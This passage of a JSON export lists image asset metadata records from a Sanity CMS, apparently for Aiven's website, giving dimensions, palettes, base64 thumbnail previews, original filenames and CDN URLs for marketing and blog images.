{"_createdAt":"2023-08-22T10:48:00Z","_id":"image-4081c5eafed8ef077af08896766c750a8350a23a-8000x4500-png","_rev":"R8FXCRS38PsyqBqutKQN8D","_type":"sanity.imageAsset","_updatedAt":"2023-08-22T10:48:00Z","assetId":"4081c5eafed8ef077af08896766c750a8350a23a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVT8?$kWp{w]mlwckCb^i_i_lAjFZhbbb_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":4500,"width":8000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAABY0lEQVQokXXRyytEcRQH8PlvldfGe8uajbwtMJPCQoRhI8VCTVEeGTQTYqRpprn3/t7npUsyZszpu/x9fud0Tkb+FjMTITnDjQ+pvvymVhETC2Hz40wzAwDrnFLKVsp4vi2Hc5KfTXM4K2cb8lYUcMLcipkZEa21URzXa7Xo4TLsTMlSryz2pFnul/1pfi0Kgkgb/vYhBK111IhU+QbyM7I6JCuDvDIguTE5Xed6pbltK/5uniSJeb7DowXJjUp2hNeGZWtcLg44qXXERAQAxpg4jnTpCnemZLFb5rtkuU92J+WxwE51wOmWERG990ol+ukW8nOcHeHVQd6c4MIe198JAzO1YxYE8g4hIGIIITSqULqg6xO6Psb7c6q+oneISETctm1mCGC0MyaE1Ke/WA06IZOwN4zAP/Xf2ACQxCqKjLH+q5wPxgEApqP+NW0YEVWsoobW1ruUWhe0A0BqPmwL/gQ8UGsixRp17AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#555455","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832a01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5405","foreground":"#fff","population":2.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c6c9","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fadeb8","foreground":"#000","population":1.29,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b77b75","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5405","foreground":"#fff","population":2.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"EMEA-GCP+Aiven+IDC-White-paper-on-the-website-no-title.png","path":"images/sczeoy4w/production/4081c5eafed8ef077af08896766c750a8350a23a-8000x4500.png","sha1hash":"4081c5eafed8ef077af08896766c750a8350a23a","size":476860,"uploadId":"Q6Ncv51M0AdIUR77u6vtFMGQeuNDewDp","url":"https://cdn.sanity.io/images/sczeoy4w/production/4081c5eafed8ef077af08896766c750a8350a23a-8000x4500.png"} {"_createdAt":"2024-03-08T07:43:21Z","_id":"image-4087be80fac8c676e689a98d985ecac5c02e7d3a-2174x1210-png","_rev":"zTx0EUw0vMrj4JXNbqppAs","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:43:21Z","assetId":"4087be80fac8c676e689a98d985ecac5c02e7d3a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98{kJt:2vRiIl2bXT,tnhwH9=rV#+bwt9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.796694214876033,"height":1210,"width":2174},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQokY3OzU/TcBjA8WdlsG7r6LoB3UafXztWOvbCOtotLCBgeBkdZnSgbPIikSjBqEReEw8cvIh4U08aOXIzJByNJxIS48GXGKPGE/wN6slLDQgHOBh+ySfPk+fwzQ8QkUZBYAjvs4cub4DHskDPV0Cb3oC+yzfAMCtgmOVT/vuQEA9G02woP0/zK+/sgfk3VGj+NcCGBUbpKmWYZbthlqnzB0WJE7LFhuDUi3p+cY8L3Nt18gt7lFGq2Ayz4jDMsus4et4fij6hbaA+WHnC8Yt7Hn5h1908t+XoH52hC+aY+zhq6x0dh8Jx8CCdhv10+mgenAGIhMOw7BX0Qg2/9LZavLPD6NMPvfmRKf/Q8Jj3klmmS8Urtt/JBGxd6IHvmnYqsH8GIKKPCCEW2wZqmm5vO1tnnnI95btcvlSpGyhV/L2lijszOkFZmQxYWhtYug5H+4lcDqCqChKiCDziYVBgG8MKS4bvM/Gbz7ns1BpbGL1G3xoy6dXBoutRf8GxfbGfsrq6wOruBiubhT+6Tv3SNOqnplGWrtuszU1olyTgBAGAEOKJaL11rSOrfMf4mr9YnHa+ymRqvqkq80NV/Ye+qirzMZVyfEilHJ9Ulf6sqs4vquo69D6VqnkWi9kgGISkKALIzXEm11EkRt94ZKpzMLAci3sft7T4t+KJxp1ksmk7kZBexuP8ekuLbz0a5R5Eo9yKorBLisIuK0rtZCTCJEWRbkSkCaITWhO6w8jlAxPZHjIbSwRn5UjDZETmr8tyYE5uDs7IMl9savJ3SpKvU5K4jCRxMUI4mRCvTAgbJsRLEFn8pxaS0aRtsDVjH1Jijt5w2NkuSW6FEA9BZEKITBDRHUR0hhDdx07urhCiqxGRQUQXIjoRsfovU86zG/8e6wMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57272e","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04447c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#57272e","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#762229","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1989e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac4a54","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c03844","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-3-vectors.png","path":"images/sczeoy4w/production/4087be80fac8c676e689a98d985ecac5c02e7d3a-2174x1210.png","sha1hash":"4087be80fac8c676e689a98d985ecac5c02e7d3a","size":40545,"uploadId":"1ZaQ8vs8s9Uo7uZ6ezGb6wdIaoPDKWl0","url":"https://cdn.sanity.io/images/sczeoy4w/production/4087be80fac8c676e689a98d985ecac5c02e7d3a-2174x1210.png"} {"_createdAt":"2023-09-06T08:22:41Z","_id":"image-40895a176cd2dfa9f68d45d545a333ab4a14700e-3337x1246-png","_rev":"Dk4vsGyYpr9Xi9g7qxxLpM","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:22:41Z","assetId":"40895a176cd2dfa9f68d45d545a333ab4a14700e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.678170144462279,"height":1246,"width":3337},"exif":{"ColorSpace":1,"PixelXDimension":3337,"PixelYDimension":1246,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA/0lEQVQokX2Ry3bDIAwF/f8/2W6auH4ABgkMOJkeuafNImkXsxKMpKvB+8S2CWkV3PvE5e3Cx+XK5zITNVFqofXG/X7/k9ZuaO6IdgbnTKhoKogX/OJx3hMlsbdKPzrH7fhXWNuNLTbCVhmcT8SYKaVSyk5KQoyCaCGXyr43au3UdtDaQe/PaO5MS2GcCoP3kZRM2FAthJAIQfCGF0JQti0TY0HVmrYnRHacU5xXhnXdiFHPCUXyKbQITqlFEB5S+5hzfcJuMI4z87xahvEUWiElxRqch4qZJDbV/ssr2Y/wOs5M08Jg69pjG92Eix3FmqQdza9XfPBdz9mytw0yX8BgHeCXA3ukAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34343c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0246c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#caa3be","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa3be","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6cc4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87c9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e852a4","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-download-certificates.png","path":"images/sczeoy4w/production/40895a176cd2dfa9f68d45d545a333ab4a14700e-3337x1246.png","sha1hash":"40895a176cd2dfa9f68d45d545a333ab4a14700e","size":321794,"uploadId":"LNthWRkYayfzIiGXxOPXxISja6JtyxHC","url":"https://cdn.sanity.io/images/sczeoy4w/production/40895a176cd2dfa9f68d45d545a333ab4a14700e-3337x1246.png"} {"_createdAt":"2023-06-27T05:57:50Z","_id":"image-4093ea27c4f25b15a145ffbe0df6630e2c2d3729-1921x1080-jpg","_rev":"UMQlcq9IaEdUdTmmQsQLtH","_type":"sanity.imageAsset","_updatedAt":"2023-06-27T05:57:50Z","assetId":"4093ea27c4f25b15a145ffbe0df6630e2c2d3729","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHF}?.]$@XITROF$2|OaF~$KvLNJ=XT1xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7787037037037037,"height":1080,"width":1921},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAX/xAAhEAACAgICAQUAAAAAAAAAAAABAgAEAxEFMRIhM2Figv/EABYBAQEBAAAAAAAAAAAAAAAAAAIDBv/EAB4RAQABBQEAAwAAAAAAAAAAAAEDAAQFESECEjFh/9oADAMBAAIRAxEAPwB3C0q1rGxst4Op2PmQtpWXKyizrX1jOK938xXMAYs65MYAc9maXEXsl9CyScRTn1xpZWz8WcxHG7EHv7WeLTLsdgH0MJXyuzvtjswlXDWPp+TEbaJlbzyaJXVf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f3109","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c2a08","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#828beb","foreground":"#fff","population":18.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7dbc","foreground":"#fff","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#828beb","foreground":"#fff","population":18.76,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6368a6","foreground":"#fff","population":0.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5413","foreground":"#fff","population":10.68,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"EB_Assets_JobAdPreview_1.jpg","path":"images/sczeoy4w/production/4093ea27c4f25b15a145ffbe0df6630e2c2d3729-1921x1080.jpg","sha1hash":"4093ea27c4f25b15a145ffbe0df6630e2c2d3729","size":268049,"uploadId":"cyG2VFeanXg0BzCUT6CXGKjQTPeon9xG","url":"https://cdn.sanity.io/images/sczeoy4w/production/4093ea27c4f25b15a145ffbe0df6630e2c2d3729-1921x1080.jpg"} {"_createdAt":"2024-05-20T15:10:08Z","_id":"image-40a921e2c5a7279fb0a0a482926597bb9ce3851a-500x500-jpg","_rev":"CK5Oetwu6foT4G1mbOFygU","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T15:10:08Z","assetId":"40a921e2c5a7279fb0a0a482926597bb9ce3851a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXPGjXxu_3ofof~qWB?bj[D%9FWBD%t7t7-;of%MWBM{WBWBRjayM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAYHCAT/xAAlEAABBAIBAwQDAAAAAAAAAAABAAIDBAURBgcSIRMxQXEUIlH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A0TzqxPX45Y/FldDLJpnqMGy0E+SFBuH0jx/k1OOhk71mncaRNDY24B2t9wPwp3ybK46Ksadi1E2zN+scfdtxd9KEyXX4nL4yzckMFFrj6z3+QP59ILURcdXJ0rUDZa9qGSN3s5rwQiDGvTTLXch1Dxtm7O+aZ8p2Xnfur761zOr9PbZi7Wl5DT4+NoiDLUeayNYOjr3J44wd9rXkBERB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":2.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":2.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"julie-bastien.jpg","path":"images/sczeoy4w/production/40a921e2c5a7279fb0a0a482926597bb9ce3851a-500x500.jpg","sha1hash":"40a921e2c5a7279fb0a0a482926597bb9ce3851a","size":38962,"uploadId":"5GPM3h2WNx6AVtzenYO377UU1oyiTaJt","url":"https://cdn.sanity.io/images/sczeoy4w/production/40a921e2c5a7279fb0a0a482926597bb9ce3851a-500x500.jpg"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-40bdcfea6a0d539673b9e69790a5de9e71c58502-1200x630-jpg","_rev":"0HOthdQkSgJdYc0C9w1a2Y","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"40bdcfea6a0d539673b9e69790a5de9e71c58502","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA@9{zRQF{]i$-aLaKoyV@+uJVofw]I=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQD/8QAHxAAAgICAwEBAQAAAAAAAAAAAQIDBAAREiExBUGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABsRAQADAQADAAAAAAAAAAAAAAEAAhEDBRIV/9oADAMBAAIRAxEAPwCyCOqIhzRSwHhB9xftVvn/ACBYUJFNLLwIKctLr0ZQ/cK9D+ZlNDHYRUnQOq9gH8yH+n6dBuaTWOw9K5qTKiK9ilDKQ5Zl2xA0N7xlUMaxxqiKFUeAYxb18ja11qYQ1bAGz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#900824","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8849c","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.93,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"NetSpyGlass_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/40bdcfea6a0d539673b9e69790a5de9e71c58502-1200x630.jpg","sha1hash":"40bdcfea6a0d539673b9e69790a5de9e71c58502","size":221704,"uploadId":"INdHkY2e10P1nYbSZI0nCx1Oa3ajUp2I","url":"https://cdn.sanity.io/images/sczeoy4w/production/40bdcfea6a0d539673b9e69790a5de9e71c58502-1200x630.jpg"} {"_createdAt":"2023-08-25T09:16:50Z","_id":"image-40cf802b255997623fa798467b33c5c923244aff-1567x844-png","_rev":"pv5QzE4Lm79BNhDrjiZ5X1","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T09:16:50Z","assetId":"40cf802b255997623fa798467b33c5c923244aff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC8g:txpISxuM{_4owM{ozRjD$jvt7afod","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACd0lEQVQokR3Nh1LaYAAA4DyBBJKQnR9CwhBRa887tS42iFGCjLAhLA2i5VoHLrDa1lZRodpr7fXqo7b2Ab77IAOVwDkFBxkc5AhTmeRrJL9JWbZZW5u173GODu/qCpMf+LEj1rZLi02S1xBWhcm0Do9D/Gh5Zqm94Nuf9+y7Q2ee8Pms+3TO3VsOfV4MflkO9X3SMCR/D0UHwbUrd/h8cvaIEVsIo+qpHOScagSl40isJ21cZEq3mdJgNf5VStzIyiCqPCTzT0rxd7r8nC49ZdVvqcKdO3wtjp8Q/FujqQWNvqp7w4f+1eNwtJfIXsezfekF96X4nZQcJgtPGfVPtvKczP9I5gdK8SEsPzinL2lrh7aeQeKYOu997wl3AtJZRL4MRz/6IpcB6SqycSslhlLyMar8lDO/1lOPsnIvp++D6zcTMyeM9R0pHEJmW3F6fnfBt7foP1wKnCwFu2+83cXARWDtOrIx8K/du1cGXmnok/p+6ZNnpTfn7jindii+jgENQukkxWdZocCJZWCrmxyaydHinW1x4sDx+tg+dSpOdMXJrjB+YB7dBvY6Z21QfA1lyxjXgEaMMZ0xpsMTMKHAZM5AlxCmhnJbGGhiQMOAhpt3cb6NAU1PFWAyi7J1jNtCGBVhKhBOyICNAyFPW0ooWzTQZZStYS9YQ9iqgS4ibAUDmyhX01M5PZnBuAYGtgx0ASYUyMzILiHlGq+KrgZpVlFONYI6bmri5m2MqxroHMLkMa6KsipMpGEi9f8s64jUiDEGcSaFt2QstpLJXmGEKi02WGuTs+0Ae5u1tihLlbJUaUEzggpMpHR4Qk9mYTI9gsf/4b+40bJEO3gg5QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362d59","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969bc6","foreground":"#000","population":1.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e8f3","foreground":"#000","population":8.29,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87460","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be4448","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"manage-clickhouse-privileges-with-terraform.png","path":"images/sczeoy4w/production/40cf802b255997623fa798467b33c5c923244aff-1567x844.png","sha1hash":"40cf802b255997623fa798467b33c5c923244aff","size":141546,"uploadId":"teB9iwvQHbhkc6N4lA4Ehzfg6YPmYDKW","url":"https://cdn.sanity.io/images/sczeoy4w/production/40cf802b255997623fa798467b33c5c923244aff-1567x844.png"} {"_createdAt":"2024-03-07T15:07:52Z","_id":"image-40f451d6b5c9481864e65cb2c429937304638dfd-8020x1610-png","_rev":"TOsxXx20RF0WqO4quZq97u","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:07:52Z","assetId":"40f451d6b5c9481864e65cb2c429937304638dfd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42AUsb*b004A00","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.9813664596273295,"height":1610,"width":8020},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABYlAAAWJQFJUiTwAAABT0lEQVQYlQFEAbv+ABwcHAEaGRoBFRMVADg1NAFGS1EFQ1NgDUBOWRg/REoZPD9AD0pdUQhbkWYET6RfAkqeWgJGo1gFRZxVBjltQwUhJyIDGxcaAxsZGwMXFBUBACQlJgU8QEIJOUA/CTFANwVeamoJc32EEnV/hxdyeIAScH18DXKjfhFmsnUUcap8E56voiKeuKMvh7iPKV6ZaRgsTjIOHS8gC0BMRg9mbnIZADQ3OAVQVVkOUmdcEFuPZg1oi3QQeYWIGIOLkh2Ei5QZfoyNE3SkgRhntHYae6yEHKmzqziuurBLlbqbPWajcSQyazwUIVMqD1RuYBhzfoEyAGRybwFbYGcIa5J4D33Bihdzon8Ybnp7GHV7gxp1eoIXcHt8FXOgfxtwuX4cbbN6FKC0pBmiq6MieJJ8JEt3Ux4qVzMXIlErElJ0XxB6hokdB2tmLrnD6uoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4c32","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08150b","foreground":"#fff","population":2.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08150b","foreground":"#fff","population":2.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc49c","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2d3af","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#709276","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46b860","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"overall-flow.png","path":"images/sczeoy4w/production/40f451d6b5c9481864e65cb2c429937304638dfd-8020x1610.png","sha1hash":"40f451d6b5c9481864e65cb2c429937304638dfd","size":611437,"uploadId":"OwiRDlzQ5wOFfMLrMK2dlqOpTTTwnzsa","url":"https://cdn.sanity.io/images/sczeoy4w/production/40f451d6b5c9481864e65cb2c429937304638dfd-8020x1610.png"} {"_createdAt":"2023-01-18T15:14:16Z","_id":"image-4108f6b1aa34b524c17faee3094963fa6e9a4e1c-2000x506-png","_rev":"XOlGy5GtRBKJG8lS628HUy","_type":"sanity.imageAsset","_updatedAt":"2023-01-18T15:14:16Z","assetId":"4108f6b1aa34b524c17faee3094963fa6e9a4e1c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DJFN;Q03~9^40hAE=dIqx@Vb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.952569169960474,"height":506,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQYlY2OPUoDQQCF30SzDotLwMIb5C52pgxEUNKoICu6swumFcHCNgcQWxtBrPwDQWzEZWcjmMPMJ4seYB48Xve9T4oMbSl+zsSiEt4JXxjabkvRdPvX6NAUYjkT35XhM7fh/TDjbd9SnyYsyn7wznSn8cCvY1HnCk1h+DjIeJlu8rA3CK9HKbWztOUq3ploYHgci7st8Twx3I/WuN3OuBlnXE9TnvLOMsG7JB5Y9cRM4mJDnGiF86FlPlrnasdyudv7N0x/Af62awR5Yx2CAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#35200b","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#979387","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#979387","foreground":"#fff","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8bc91","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#947c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d37f2b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-pattern-two-triangles-and-dot.png","path":"images/sczeoy4w/production/4108f6b1aa34b524c17faee3094963fa6e9a4e1c-2000x506.png","sha1hash":"4108f6b1aa34b524c17faee3094963fa6e9a4e1c","size":68656,"uploadId":"7nlCB3ktjuNUkytLfDX8u11Gb8dgahEo","url":"https://cdn.sanity.io/images/sczeoy4w/production/4108f6b1aa34b524c17faee3094963fa6e9a4e1c-2000x506.png"} {"_createdAt":"2023-05-09T10:22:40Z","_id":"image-411ef6589fbfad57579ad1ceb5ad704c434164d2-390x391-jpg","_rev":"GhNwFaTAL1WgSe2HZvlxvx","_type":"sanity.imageAsset","_updatedAt":"2023-05-09T10:23:00Z","altText":null,"assetId":"411ef6589fbfad57579ad1ceb5ad704c434164d2","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e=MQ*GRj.9s.RO~qt7ogoeR%IoofMxWBozt8Rjaea}t7xvs:WAogR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9974424552429667,"height":391,"width":390},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAYIAgME/8QAJRAAAQQBAwQCAwAAAAAAAAAAAQIDBAUABhESBxMhURVhMnGB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEAP/EAB0RAAMAAgIDAAAAAAAAAAAAAAABAgMhMUEEEXH/2gAMAwEAAhEDEQA/ALIajsPiaSZOCeRZbKgPZyHaL1s7dTYrDrRBdB5HcEA5C9e9aqyZVTq+ojKeQ80pvvL8AE/WRLpDrSpoZbTtokF1xPHdo78Ps5N5EXWSHLaSewsNY3F1XRaMpxnHUWsK2gNzID6HY7n4qBxlnsWtlCqlPdZmFZJ7YBT/AHMq5ZZnK4bevIxjA7Yulp/Dc5qe6r3FMQbOVHZB3CG1kAH9YxjKZ4MuD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324c5